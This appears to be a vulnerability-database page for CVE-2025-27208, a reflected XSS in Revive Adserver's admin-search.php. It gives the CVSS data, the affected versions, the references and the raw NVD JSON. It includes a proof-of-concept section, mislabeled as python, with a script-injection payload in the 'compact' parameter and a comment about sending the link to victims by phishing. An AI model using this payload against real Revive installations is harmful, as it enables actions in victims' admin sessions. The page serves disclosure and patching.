CVE-2025-27208

Description

A reflected Cross-Site Scripting (XSS) vulnerability has been identified in Revive Adserver version 5.5.2. An attacker could trick a user with access to the user interface of a Revive Adserver instance into clicking on a specifically crafted URL and execute injected JavaScript code in the context of the victim's browser. The session cookie cannot be accessed, but a number of other operations could be performed. The vulnerability is present in the admin-search.php file and can be exploited via the compact parameter.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:rc1:*:*:*:*:*:* - VULNERABLE

Revive Adserver < 5.5.3

Revive Adserver 5.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-27208 PoC - Reflected XSS in Revive Adserver admin-search.php -->
<!-- Target: Revive Adserver <= 5.5.2 -->
<!-- Attack Vector: compact parameter in admin-search.php -->

<!-- Malicious URL Structure -->
<!-- https://target.com/admin-search.php?compact=<script>alert(document.cookie)</script> -->

<!-- HTML PoC -->
<html>
  <body>
    <h1>CVE-2025-27208 PoC</h1>
    <p>Click the link below to test the reflected XSS vulnerability:</p>
    <a href='http://target-revive-server/admin-search.php?compact=%3Cscript%3Ealert(document.domain)%3C/script%3E' target='_blank'>Malicious Link</a>
    
    <script>
      // Automated PoC - XHR Request
      function exploitXSS() {
        var xssPayload = "<script>alert('XSS Confirmed - CVE-2025-27208')</script>";
        var targetUrl = "http://target-revive-server/admin-search.php?compact=" + encodeURIComponent(xssPayload);
        
        // Simulate victim clicking the malicious link
        console.log("Target URL: " + targetUrl);
        console.log("XSS Payload: " + xssPayload);
        
        // In real attack, this would be sent to victims via phishing email or malicious website
        return targetUrl;
      }
      
      // Generate the malicious URL
      var maliciousUrl = exploitXSS();
      document.write("<p>Generated malicious URL: " + maliciousUrl + "</p>");
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-27208
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-27208
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-27208/
[4] VulDB https://vuldb.com/cve/CVE-2025-27208
[5] https://hackerone.com/reports/3091390
[6] http://seclists.org/fulldisclosure/2025/Oct/20

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-27208", "sourceIdentifier": "[email protected]", "published": "2025-10-31T00:15:36.190", "lastModified": "2025-12-01T20:15:50.553", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected Cross-Site Scripting (XSS) vulnerability has been identified in Revive Adserver version 5.5.2. An attacker could trick a user with access to the user interface of a Revive Adserver instance into clicking on a specifically crafted URL and execute injected JavaScript code in the context of the victim's browser. The session cookie cannot be accessed, but a number of other operations could be performed.\r\n\r\nThe vulnerability is present in the admin-search.php file and can be exploited via the compact parameter."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.0.0", "matchCriteriaId": "AB72680D-5CE9-4943-9524-B706CF10EFB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:revive-adserver:revive_adserver:6.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "3532AF55-1C9C-4B04-A68C-A2634F505C39"}]}]}], "references": [{"url": "https://hackerone.com/reports/3091390", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2025/Oct/20", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}